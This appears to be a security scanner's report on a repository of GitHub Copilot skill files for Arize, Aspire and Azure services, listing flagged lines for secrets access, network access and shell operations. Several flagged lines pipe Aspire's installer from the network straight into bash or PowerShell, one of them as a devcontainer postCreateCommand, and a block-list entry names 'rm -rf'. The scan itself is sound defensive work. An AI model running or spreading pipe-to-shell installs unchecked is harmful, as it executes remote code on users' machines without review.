- [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)
harness/github-copilot/skills/arize-instrumentation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-link/SKILL.md
- Network accessline 35
Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments. - Network accessline 39
All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co - Network accessline 83
| 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown - Network accessline 85
| `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. | - Network accessline 127
- [Arize application](https://app.arize.com)
harness/github-copilot/skills/arize-link/references/EXAMPLES.md
- Network accessline 14
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene - Network accessline 20
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en - Network accessline 26
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType= - Network accessline 32
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples - Network accessline 38
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments - Network accessline 44
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues - Network accessline 50
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id} - Network accessline 56
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id} - Network accessline 62
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded} - Network accessline 68
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs
harness/github-copilot/skills/arize-prompt-optimization/SKILL.md
- Network accessline 69
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 70
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 71
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir - Access to secretsline 74
[Credential-related source omitted] - Network accessline 496
- [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin) - Network accessline 498
- [Arize API Keys](https://app.arize.com/admin)
harness/github-copilot/skills/arize-prompt-optimization/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-trace/SKILL.md
- Network accessline 30
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke - Network accessline 31
| `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una - Network accessline 32
| `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 245
- [Arize API keys](https://app.arize.com/admin)
harness/github-copilot/skills/arize-trace/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/aspire/SKILL.md
- Network accessline 28
# Linux / macOS curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 29
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 29
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 31
# Windows PowerShell irm https://aspire.dev/install.ps1 | iex - Network accessline 32
irm https://aspire.dev/install.ps1 | iex - Network accessline 43
Prefer the Aspire MCP server when available. Aspire CLI 13.2+ adds docs search tools from PR https://github.com/dotnet/aspire/pull/14028 ; update with `aspire update --self --channel daily`. David Pine's overview is https://davidpine.dev/po - Network accessline 194
- [Documentation](https://aspire.dev) - Network accessline 195
- [Runtime repo](https://github.com/dotnet/aspire) - Network accessline 196
- [Docs repo](https://github.com/microsoft/aspire.dev) - Network accessline 197
- [Samples](https://github.com/dotnet/aspire-samples) - Network accessline 198
- [Community Toolkit](https://github.com/CommunityToolkit/Aspire) - Network accessline 199
- Dashboard image: `mcr.microsoft.com/dotnet/aspire-dashboard` - [Discord](https://aka.ms/aspire/discord) - [Reddit](https://www.reddit.com/r/aspiredotdev/) - Network accessline 200
- [Discord](https://aka.ms/aspire/discord) - Network accessline 201
- [Reddit](https://www.reddit.com/r/aspiredotdev/)
harness/github-copilot/skills/aspire/references/architecture.md
- Network accessline 137
services__api__http__0=http://localhost:5234 - Network accessline 138
services__api__https__0=https://localhost:7234 - Network accessline 139
services__ml__http__0=http://localhost:8000 - Access to secretsline 162
[Credential-related source omitted] - Network accessline 228
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Access to secretsline 329
[Credential-related source omitted]
harness/github-copilot/skills/aspire/references/cli-reference.md
- Network accessline 12
# Linux / macOS curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 13
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 13
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 15
# Windows PowerShell irm https://aspire.dev/install.ps1 | iex - Network accessline 16
irm https://aspire.dev/install.ps1 | iex - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted]
harness/github-copilot/skills/aspire/references/dashboard.md
- Network accessline 65
- **Model metadata** — which model, temperature, max tokens - **Latency** — time per AI call - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry - Network accessline 67
- Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry - Network accessline 106
# Environment variables for any language's OpenTelemetry SDK OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Network accessline 107
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Network accessline 122
build: ./api environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 123
environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - OTEL_SERVICE_NAME=api - Network accessline 124
- OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 128
build: ./worker environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 129
environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - OTEL_SERVICE_NAME=worker - Network accessline 130
- OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 154
# Accept OTLP over gRPC (default) -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889 - Network accessline 155
-e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889 - Network accessline 157
# Accept OTLP over HTTP -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890 - Network accessline 158
-e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890 - Network accessline 203
# Aspire injects OTEL_EXPORTER_OTLP_ENDPOINT automatically endpoint = os.environ.get("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317") - Network accessline 204
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Network accessline 219
new BatchSpanProcessor( new OTLPTraceExporter({ url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317", - Network accessline 220
new OTLPTraceExporter({ url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317", }) - Network accessline 221
url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",
harness/github-copilot/skills/aspire/references/deployment.md
- Network accessline 143
- name: Install Aspire CLI run: curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 144
run: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 144
run: curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 171
- script: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 171
- script: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 227
"ghcr.io/devcontainers/features/node:1": {} }, "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", - Network accessline 228
}, "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", "forwardPorts": [18888], - Dangerous shell operationline 229
"postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", - Network accessline 229
"postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
harness/github-copilot/skills/aspire/references/integrations-catalog.md
- Network accessline 22
> **Tip:** These tools return the same data as the [official integrations gallery](https://aspire.dev/integrations/gallery/). Prefer them over static docs — integrations are added frequently. - Network accessline 30
- **Hosting package** (`Aspire.Hosting.*`) — adds the resource to the AppHost - **Client package** (`Aspire.*`) — configures the client SDK in your service with health checks, telemetry, and retries - **Community Toolkit** (`CommunityToolki - Network accessline 32
- **Community Toolkit** (`CommunityToolkit.Aspire.*`) — community-maintained integrations from [Aspire Community Toolkit](https://github.com/CommunityToolkit/Aspire)
harness/github-copilot/skills/aspire/references/mcp-server.md
- Network accessline 5
Reference: https://aspire.dev/get-started/configure-mcp/ - Network accessline 87
> **Version gate:** These tools were added in [PR #14028](https://github.com/dotnet/aspire/pull/14028) and ship in Aspire CLI **13.2**. If you are on 13.1, these tools will NOT appear. To get them early, update to the daily channel: `aspire - Network accessline 126
- [VS Code](https://code.visualstudio.com/docs/agent-customization/mcp-servers) (GitHub Copilot) - Network accessline 127
- [Copilot CLI](https://docs.github.com/en/copilot/how-tos/use-copilot-agents/use-copilot-cli#add-an-mcp-server) - Network accessline 128
- [Claude Code](https://docs.claude.com/en/docs/claude-code/mcp) - Network accessline 129
- [OpenCode](https://opencode.ai/docs/mcp-servers/) - Network accessline 187
If you run into issues, check the [open MCP issues on GitHub](https://github.com/dotnet/aspire/issues?q=is%3Aissue+is%3Aopen+label%3Aarea-mcp). - Network accessline 191
- [aspire mcp command](https://aspire.dev/reference/cli/commands/aspire-mcp/) - Network accessline 192
- [aspire mcp init command](https://aspire.dev/reference/cli/commands/aspire-mcp-init/) - Network accessline 193
- [aspire mcp start command](https://aspire.dev/reference/cli/commands/aspire-mcp-start/) - Network accessline 194
- [GitHub Copilot in the Dashboard](https://aspire.dev/dashboard/copilot/) - Network accessline 195
- [How I taught AI to read Aspire docs](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
harness/github-copilot/skills/aspire/references/polyglot-apis.md
harness/github-copilot/skills/aspire/references/troubleshooting.md
- Dangerous shell operationline 62
| "Permission denied" on Linux | Add user to `docker` group: `sudo usermod -aG docker $USER` | - Network accessline 188
| Channel | URL | | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | - Network accessline 189
| ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | | GitHub Issues (docs) | https://github.com/microsoft/aspire.dev/issues | - Network accessline 190
| GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | - Network accessline 191
| GitHub Issues (docs) | https://github.com/microsoft/aspire.dev/issues | - Network accessline 192
| Discord | https://aka.ms/aspire/discord | - Network accessline 194
| Reddit | https://www.reddit.com/r/aspiredotdev/ |
harness/github-copilot/skills/automate-this/SKILL.md
- Network accessline 107
echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri - Network accessline 109
echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done - Access to secretsline 182
[Credential-related source omitted]
harness/github-copilot/skills/autoresearch/SKILL.md
- Network accessline 7
author: luiscantero compatibility: Requires git, a git repository, and terminal access to run commands. inspired-by: "https://github.com/karpathy/autoresearch" - Network accessline 8
compatibility: Requires git, a git repository, and terminal access to run commands. inspired-by: "https://github.com/karpathy/autoresearch" --- - Network accessline 9
inspired-by: "https://github.com/karpathy/autoresearch" - Network accessline 26
- Requires git, a git repository, and terminal access. - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Network accessline 27
- Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Do not use for one-shot tasks, simple bug fixes, code review, or task - Network accessline 28
- Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Network accessline 167
- [Karpathy autoresearch](https://github.com/karpathy/autoresearch)
harness/github-copilot/skills/aws-cost-optimize/SKILL.md
- Network accessline 31
**Process**: 1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Network accessline 32
1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Fetch the AWS Well-Architected Cost Optimization pillar summary - Network accessline 33
- Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
harness/github-copilot/skills/aws-resource-health-diagnose/SKILL.md
- Network accessline 22
- The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud - Network accessline 24
- Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed. - Network accessline 168
- [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)
harness/github-copilot/skills/aws-well-architected-review/SKILL.md
- Network accessline 22
- IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. - Network accessline 24
- Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed. - Network accessline 211
- [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)
harness/github-copilot/skills/az-cost-optimize/SKILL.md
- Network accessline 73
Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month
harness/github-copilot/skills/azure-agentic-architecture-patterns/SKILL.md
- Network accessline 66
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 67
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 68
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 69
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 70
- [GitHub Models](https://docs.github.com/github-models)
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/memory.md
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/github-copilot/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/github-copilot/skills/azure-ai/SKILL.md
- Network accessline 78
- AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search) - Network accessline 79
- Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)
harness/github-copilot/skills/azure-ai/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-ai/references/sdk/azure-ai-transcription-py.md
harness/github-copilot/skills/azure-ai/references/sdk/azure-ai-translation-ts.md
- Access to secretsline 14
[Credential-related source omitted]
harness/github-copilot/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md
harness/github-copilot/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md
- Network accessline 22
echo "Endpoint not yet available — model may still be starting" else curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 23
else curl -X POST "${ENDPOINT}/v1/chat/completions" \ -H "Content-Type: application/json" \ - Network accessline 24
curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 30
> **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first: - Network accessline 35
> > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint - Network accessline 36
> kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ``` - Network accessline 37
> # Then use http://localhost:8080 as the endpoint
harness/github-copilot/skills/azure-api-center/SKILL.md
- Network accessline 117
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 118
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 119
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 120
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/github-copilot/skills/azure-app-onboard-prereq/references/prereq-schemas.ts
- Executable scriptline 1
Executable file - Network accessline 64
buildRequirements?: BuildRequirements; /** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. - Network accessline 65
/** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. * null if no health endpoint found (triggers W-HEALTH warning). */ - Network accessline 66
* Used by scaffold for Azure health probe config and deploy for curl health check.
harness/github-copilot/skills/azure-app-onboard-prereq/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-app-onboard/references/deploy/blocked-patterns.md
- Dangerous shell operationline 7
| `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |
harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md
harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md
- Network accessline 25
| Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use - Network accessline 26
|------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see - Network accessline 27
| 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below).
harness/github-copilot/skills/azure-app-onboard/references/deploy/code-deployment-swa.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 52
- **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` ( - Network accessline 53
- `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)
harness/github-copilot/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md
- Network accessline 55
- ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on ` - Network accessline 57
- ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu - Access to secretsline 65
[Credential-related source omitted]
harness/github-copilot/skills/azure-app-onboard/references/deploy/deploy-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-app-onboard/references/deploy/health-check-patterns.md
- Network accessline 22
If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 23
1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 54
|---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 55
| Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname - Network accessline 56
| App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 57
| Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) | - Network accessline 64
> ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end - Network accessline 65
> ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 66
> iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell - Network accessline 67
> curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 76
{ "name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", - Network accessline 77
"name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", "healthStatus": "healthy" // healthy | degraded | unreachable | unknown - Network accessline 78
"url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
harness/github-copilot/skills/azure-app-onboard/references/deploy/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/skills/azure-app-onboard/references/deploy/portal-links.md
- Network accessline 11
$deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta - Network accessline 12
$resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN - Network accessline 13
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 27
$resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F') - Network accessline 28
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 33
For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog` - Network accessline 51
⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName} - Network accessline 52
https://portal.azure.com/.../{newDeploymentName}
harness/github-copilot/skills/azure-app-onboard/references/deploy/preflight-checks.md
- Network accessline 17
- Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for - Network accessline 19
- ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.
